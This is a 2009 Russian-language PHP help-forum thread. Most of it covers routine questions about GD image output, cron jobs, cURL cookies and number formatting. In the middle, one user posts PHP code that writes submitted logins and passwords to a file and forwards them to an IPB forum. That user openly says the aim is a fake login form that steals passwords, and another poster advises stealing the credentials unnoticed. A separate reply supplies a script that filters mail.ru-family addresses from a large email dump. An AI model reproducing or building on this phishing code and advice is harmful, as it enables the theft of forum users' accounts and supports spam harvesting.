Sindicat, лучше вводи время функцией time() он выдает кол-во секунд с какого там года. А потом в другом скрипте что в кроне будет ты просто SELECT ом выводи все значения того столбца и сравнивай с новым time() если по секундам прошло столько то времени то удаляй из БД запись. разница = время в бд - время из вызванного скрипта.
Маркиза, я нет. погодите немного. возможно вам кто то ответит.... кто более компетентнее меня.
truelamer
11.02.2009, 18:09
На серверной машине стоит nix, следующий код работать отказывается
<?php
header ("Content-type: image/gif");
$text=$_GET['text'];
// Name the font to be used (note the lack of the .ttf extension)
$font = 'tahoma.ttf';
$im = imagecreate (135, 12);
$white = imagecolorallocate ($im, 255, 255, 255);
$black = imagecolorallocate ($im, 0, 0, 0);
imagettftext ($im, 9, 0, 0, 9, $black,$font, substr($text,0,20));
$img=imagerotate ($im, 90,0);
imagegif ($img);
imagedestroy ($im);
imagedestroy ($img);
?>
думаю дело со шрифтом. Что делать в такой ситуации
Carbon1, WHOIS. насколько я знаю функции такой вроде нету. или просто я не встречал. а вообще отправляешь куда нить через сокеты например запрос, а потом парсишь ответ.
Byrger, есть такая функция sleep(60) поставьте ее после того как данные добавляються в БД. а после этой строки пишите то что нужно будет сделать. Так скрипт выолнит запрос к БД, заснет на 60 сек и потом продолжит работу с тем что у вас там нужно.
Gaus, я понял но у меня нет такого скрипта которогы ты хочешь. только тот о котором я написал.
Sindicat, лучше вводи время функцией time() он выдает кол-во секунд с какого там года. А потом в другом скрипте что в кроне будет ты просто SELECT ом выводи все значения того столбца и сравнивай с новым time() если по секундам прошло столько то времени то удаляй из БД запись. разница = время в бд - время из вызванного скрипта.
Маркиза, я нет. погодите немного. возможно вам кто то ответит.... кто более компетентнее меня.
Sleep Действует на весь скрипт целиком? Пользователю придётся ждать когда скрипт "проснётся"?
Ну вызовет ли это большую нагрузку на сервер?
Пользователь должен находится в этот момент на данной странице? или может дольше гулять по просторам инета?
truelamer, кнопкой code или php не учили пользоваться?
а шрифт точно лежит рядом со скриптом?
truelamer
11.02.2009, 18:12
2blaga >кнопкой code или php - не понял о чем ты
скрипт в той же папке что и шрифт
Carbon1,
Маркиза, я нет. погодите немного. возможно вам кто то ответит.... кто более компетентнее меня.
Буду ждать...так как очень надо
Byrger, хм. ну тут смотря что нужно... можно конечно и кроном запускать какой то скрипт каждую минуту и проверять, но тоже так себе решение. еще раз - смотря что нужно.
truelamer, ошибки есть какиенибудь? что значит не работает? не рисуеться? вообще ничего не выводит?
$white = imagecolorallocate ($im, 255, 255, 255);
зачем эта строка? такая переменная не используеться нигде.
truelamer
11.02.2009, 18:20
2blaga, этот код прекрасно работает в винде, а на unix серваке нет. Функция imagegif работает а изображения нет
скорее всего нет какой-то библиотеки на серваке типа поддержки gif, открытия gif и подобное
Курите в сторону мемори тейблс
truelamer епт так ты не указываешь куда и с каким именем сохранять. вот например у меня тока с jpg все ок работает.
imagejpeg($im2,"../".$category."/th/".$name_image."");
Pashkela
11.02.2009, 18:30
На серверной машине стоит nix, следующий код работать отказывается
<?php
header ("Content-type: image/gif");
$text=$_GET['text'];
// Name the font to be used (note the lack of the .ttf extension)
$font = 'tahoma.ttf';
$im = imagecreate (135, 12);
$white = imagecolorallocate ($im, 255, 255, 255);
$black = imagecolorallocate ($im, 0, 0, 0);
imagettftext ($im, 9, 0, 0, 9, $black,$font, substr($text,0,20));
$img=imagerotate ($im, 90,0);
imagegif ($img);
imagedestroy ($im);
imagedestroy ($img);
?>
думаю дело со шрифтом. Что делать в такой ситуации
А ты не думай, ты вставь в самое начала скрипта:
@ini_set("display_errors","1");
и потом, откуда у тебя $_GET['text']; прилетает? В коде нету
Кароче суть работы такая....
Пользователь тыкнул на задание...которое выполняется через 60сек (происходит запрос в БД)
В это время пользователь может делать что угодно.
Таких пользователей сотни!... вот в чём проблема то...
И заданий десятки...
Pashkela
11.02.2009, 19:22
А мне кто нить поможет?
ты не все файлы выложила, такие простыни сюда не надо пихать, выложи в один архив и залей куда-нибудь. Включая то, что у тебя в начале скрипта инклудится (require_once)
Здесь (http://www.filehoster.ru/files/ce7170) архив если что то еще надо скажите, выложу
Здесь инклуд (http://www.filehoster.ru/files/ce7174)
Carbon1 http://ru.php.net/manual/en/function.gethostbyname.php
Byrger Добавили в бд, и дальше как то так посылаем запрос на нужный пхп файл вашего сервера
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 1
)
)
);
file_get_contents("http://example.com/somescript.php", 0, $ctx);
В самом somescript.php первыми строчками
ignore_user_abort(1);
set_time_limit(0);
sleep(60);
// Дальше текст программы
Нагрузка будет правда нереальная) а вообще - крон и проверка раз в полминуты
А больше точно не как? просто у конкурентов видел, что идут часики до конца запроса, с сайта выхожу а запрос уходит спокойно....по крону проверять там не реально.....(точность до секунды)
мда, что ж ты за шпийон такой)) убери:
и не проси второй раз логиниться юзвера, нужно незаметно воровать учетные данные. Ты думаеш администрация не заподозрит ничего, когда каждый раз нужно по 2 раза логиниться.
ЗЫ
ето не ошибка а заметка (Notice)
Подредактировал скрипт включил курл из
http://www.phpclub.ru/detail/article/curl
В итоге получилось следующее:
<?PHP
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
}
// HTTP authentication
$url = "http://127.0.0.1/forum/index.php?act=Login&CODE=01";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
Но авторизация до сих не произошла.
Я думаю, это из-за
curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
Byrger Тогда в первый скрипт добавляете ignore_user_abort(1); c set_time_limit(0);
и скрипт продолжит выполняться даже после закрытия страницы. А часики - это JS
Вообще курим в сторону аякса
Ershik Это что вообще за код такой? Если вы хотите сделать фейк логинку и красть пароли - то вам тоже надо читать про яваскрипты. А если хотите, чтобы скрипт сам логинился на форум - то читать про POST запросы и гуглить на тему "Как залогиниться курлом на форум"
Gifts.
Мне нужно встроить в стили IPB фейковую форму авторизации, чтобы сохранялись пароли на удаленном ресурсе и происходил редирект на настоящий сайт.
Думаю, тут надо Джаву м Курл.
Возможно =)
Нашел форму:
http://ezh-leon.ru/ispolzovanie-curl-chast-2
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/forum/index.php?act=Login&CODE=00"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "$Login&$Pass"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
curl_setopt($ch, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/forum/index.php?act=Login&CODE=01"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */
curl_setopt($ch, CURLOPT_POST, 1); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
поменял на свои значения.
Вставил:
curl_setopt($ch, CURLOPT_POSTFIELDS, "act=Login&CODE=00"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
Но авторизации по прежнему нет.
Ребята, нужно написать скрипт который бы из файла(в котором лежат разные мыла) доставал только домен@mail.ru, домен@bk.ru, домен@inbox.ru, домен@list.ru и складывал их в другой файл, кто поможет буду оч благодарен!
Ребята, нужно написать скрипт который бы из файла(в котором лежат разные мыла) доставал только домен@mail.ru, домен@bk.ru, домен@inbox.ru, домен@list.ru и складывал их в другой файл, кто поможет буду оч благодарен!
<?php
$input = 'emails.txt';
$output = 'new.txt';
###
$f = fopen($output,'w');
$e = file($input);
foreach($e as $email)
if(preg_match('/@(mail|bk|inbox|list)\.ru/',$email)) fputs($f,$email);
?>
[QUOTE=Gifts]Carbon1 http://ru.php.net/manual/en/function.gethostbyname.php
А, как мне сделат ьввиде кнопки?Тоесть вводишь ресурс нажимаешь GO и он пишет ип заданного ресурса...
Поможешь?
']<?php
$input = 'emails.txt';
$output = 'new.txt';
###
$f = fopen($output,'w');
$e = file($input);
foreach($e as $email)
if(preg_match('/@(mail|bk|inbox|list)\.ru/',$email)) fputs($f,$email);
?>
не работает, вот че Fatal error: Maximum execution time of 30 seconds exceeded in c:\appserv\www\1\1.php on line 7
ЗЫ: файл весит 98мб
Shadow_p1raT
12.02.2009, 09:03
MaTpOc,пропиши в начале файла строчки
@set_time_limit(0);
@ini_set("max_execution_time", 0);
holden321
12.02.2009, 12:50
подскажите, как можно звук воспроизвести из mp3- или wav-файла?
плеер поставь на сайте, это проще всего http://mju.aeotika.ru/
holden321
12.02.2009, 13:19
вы меня не поняли :D
мне нужно воспроизвести звук прямо на компьютере на котором выполняется php-скрипт :)
вы меня не поняли :D
мне нужно воспроизвести звук прямо на компьютере на котором выполняется php-скрипт :)
ну скачай себе винамп))) чот я не пойму как это воспроизвести на компьютере на котором выполняется скрипт))))
holden321
12.02.2009, 13:51
ну что-тут непонятного))) у меня есть компьютер, на нем запускается php-скрипт, который обрабатывает запрос и в зависимоти от поступающих данных мне нужно воспроизвести звук, т.е. воспроизвести его прямо из скрипта :cool:
ну что-тут непонятного))) у меня есть компьютер, на нем запускается php-скрипт, который обрабатывает запрос и в зависимоти от поступающих данных мне нужно воспроизвести звук, т.е. воспроизвести его прямо из скрипта
никак. можно только запустить какой-либо плеер. через exec() или system().
Ребят а помоему вопросу никто помочь не может?
holden321
12.02.2009, 14:24
никак. можно только запустить какой-либо плеер. через exec() или system().
ясно, ну хотябы так, спасибо
mouse.pro
12.02.2009, 14:34
Помогите со скриптом, в общем в mysql базе будет ячейка "test", там будут храниться цифры в виде "1000", "25464", "450654", "4350305", "25045164", надо что бы скрипт отделял цифры, и делал вида "1 000", "25 464", "450 654", "4 350 305", "25 045 164", воспользовался вот таким скриптом
$in = "1534234";
$len = strlen($in);
$out = "";
for ($i=$len-1;$i>=0;$i--) {
$out = $in[$i].$out;
if (($len-$i) % 3 == 0) $out = " ".$out;
}
echo trim($out);
но я думаю это не самый лучший вариант, как это лучше реализовать? может регуляркой?
Помогите со скриптом, в общем в mysql базе будет ячейка "test", там будут храниться цифры в виде "1000", "25464", "450654", "4350305", "25045164", надо что бы скрипт отделял цифры, и делал вида "1 000", "25 464", "450 654", "4 350 305", "25 045 164", воспользовался вот таким скриптом
$in = "1534234";
$len = strlen($in);
$out = "";
for ($i=$len-1;$i>=0;$i--) {
$out = $in[$i].$out;
if (($len-$i) % 3 == 0) $out = " ".$out;
}
echo trim($out);
но я думаю это не самый лучший вариант, как это лучше реализовать? может регуляркой?
есть спец. функция
http://www.php.net/manual/ru/function.number-format.php
mouse.pro
12.02.2009, 15:15
']есть спец. функция
http://www.php.net/manual/ru/function.number-format.php
хм.. ) спасибо.
Проблемс курл,сто лет неработал,но вот сейчас онадобилось.
В общем,имеем:
$cl = curl_init('http://site.ru/login.php?login=test&pass=test');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://site.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
В общем,щашли,получили куке,и мне нужно с этими куками пройти на другую страничку этого ресурса,куда пускает только залогинившихсо.Помню чтото вроде курлоп_сеткоки,а вот чтото путаюсь.
curl_setopt( $cl, CURLOPT_COOKIE, $cookie );
CURLOPT_COOKIEJAR - сохранить куки в файл.
CURLOPT_COOKIEFILE - считать куки из файла.
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
protected function makeArray()
{
$arr = parent::makeArray();
$arr['name'] = $this->getName();
$arr['year'] = $this->getYear();
$arr['month'] = $this->getMonth();
$arr['day'] = $this->getDay();
return $arr;
}
public function getName()
{
return $this->name;
Есть ли здесь ошибка?
if (isset($_FILES['image'])) {
require_once(dirname(__FILE__) . '/objects/Group.php');
$group = Group::getById($work->getId());
$result = DB::selectQuery('SELECT COUNT(*) as pcount FROM w_pictures WHERE work_id = ' . $work->getId());
$row = $result->fetchRow();
$num = $row['pcount'];
$pic->setPhotoFromForm($_FILES['image'], $group->getName() . ' ' . $work->getName() . ' ' . $num++);
}
$description = htmlentities($_POST['description'], ENT_QUOTES, 'utf-8');
$pic->setDescription($description)
Ругается на эти строки, подскажите что не так?
скажи хоть что за ошибка выводиться?
в строке $pic->setDescription($description) в конце ; поставь
$pic->setDescription($description);
Fatal error: Call to a member function getName()
скажи хоть что за ошибка выводиться?
в строке $pic->setDescription($description) в конце ; поставь
$pic->setDescription($description);
еще раз как поставить?;)
-=Static=-
12.02.2009, 16:24
Если я не ошибаюсь, то у вас $group не является объектом ... Соответственно у нее нет метода getName(), либо у того объекта, что возвращает метод Group::getById($work->getId()); нету метода getName().
ЗЫ: В строке ($pic->setDescription($description);) поставить "точку с запятой" надо
<?php
require_once(dirname(__FILE__) . '/../base/DBObject.php');
class Group extends DBObject {
public $table = 'w_groups';
private $name = null;
private $year = 2009;
private $month = 1;
private $day = 1;
public static function create()
{
return new self();
}
public static function getById($groupId)
{
$new = new self();
return $new->loadById($groupId);
}
public function makeObject($array = array())
{
parent::makeObject($array);
$this->
setName($array['name'])->
setYear($array['year'])->
setMonth($array['month'])->
setDay($array['day']);
return $this;
}
protected function makeArray()
{
$arr = parent::makeArray();
$arr['name'] = $this->getName();
$arr['year'] = $this->getYear();
$arr['month'] = $this->getMonth();
$arr['day'] = $this->getDay();
return $arr;
}
public function getName()
{
return $this->name;
}
public function setName($name)
{
$this->name = $name;
return $this;
}
public function getDay()
{
return $this->day;
}
public function setDay($day = 1)
{
$this->day = $day;
return $this;
}
public function getMonth()
{
return $this->month;
}
public function setMonth($month = 1)
{
$this->month = $month;
return $this;
}
public function getYear()
{
return $this->year;
}
public function setYear($year = 2009)
{
$this->year = $year;
return $this;
}
}
Вот инклуд вроде там должна прописываться группа я правильно поняла?
Добрый день. Подскажите пожалуйста такую вещь:
onclick="location.href='с понтом путь' "
можно ли каким-то образом сделать задержку, к примеру в 2 сек, перед переходом на страницу согласно скрипта?
Заранее пасибо.
-=Static=-
12.02.2009, 16:48
А что вернет метод DBObject::loadById() ???
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot